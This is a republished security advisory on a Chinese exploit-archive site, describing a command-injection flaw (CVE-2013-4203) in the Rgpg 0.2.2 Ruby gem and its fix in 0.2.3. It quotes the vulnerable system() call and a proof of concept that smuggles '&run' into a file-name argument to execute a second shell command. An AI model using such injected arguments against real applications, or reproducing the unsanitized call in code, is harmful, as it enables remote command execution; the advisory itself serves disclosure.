首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ruby Gem Rgpg 0.2.2 Command Injection Vulnerability
来源:1337day.com 作者:Cashdollar 发布时间:2013-08-06  
Title: Rgpg 0.2.2 Ruby Gem Remote Command Injection
  
Date: 7/31/2013
  
Advisory Author: Larry W. Cashdollar, @_larry0
  
CVE: CVE-2013-4203
  
  
Description:
  
"A simple Ruby wrapper around gpg command for file encryption.
  
rgpg is a simple API for interacting with the gpg tool. It is specifically designed to avoid altering global keyring state by creating temporary public and secret keyrings on the fly for encryption and decryption."
  
Vulnerability:
  
The following code snippet does not sanitize user supplied input before passing it to the System () function for execution. If this ApI is used in the context of a rails application remote commands can be injected into the shell.
  
in lib/rgpg/gpg_helper.rb:
  
 68       begin
 69         outputfile.close
 70         result = system("#{commandline} > #{output_file.path} 2>&1")
 71       ensure
  
PoC:
  
  
Our test code:
larry@sp0rk:~$ cat /bin/run
#!/bin/sh
  
echo "Command Injection" > /tmp/rci.txt
  
irb(main):027:0* Rgpg::GpgHelper.encrypt_file 'mykey.pub', 'myfile.txt', 'myfile.txt.enc&run'
=> nil
irb(main):028:0> gpg: keyring `/tmp/gpg-key-ring20130804-2970-1et1k4c' created
gpg: processing message failed: eof
  
After above completes:
  
larry@sp0rk:~$ ls -l /tmp/rci.txt 
-rw-rw-r-- 1 larry larry 18 Aug  4 11:12 /tmp/rci.txt
larry@sp0rk:~$ cat /tmp/rci.txt 
Command Injection
larry@sp0rk:~$ 
  
  
Author: Notified 8/1/2013.
  
Fixed: in 0.2.3. 8/1/2013.
  
Greets to all@DEFCON21.

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·StarUML WinGraphviz.dll - Acti
·Apache suEXEC Privilege Elevat
·TEC-IT TBarCode OCX ActiveX Co
·Open&Compact FTP Server 1.2 -
·Galil-RIO Modbus - Denial of S
·HP Data Protector Arbitrary Re
·Easy LAN Folder Share Version
·HP Data Protector Arbitrary Re
·MS13-005 HWND_BROADCAST Low to
·D-Link Devices Unauthenticated
·Linux Kernel 'MSR' Driver Loca
·Firefox onreadystatechange Eve
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved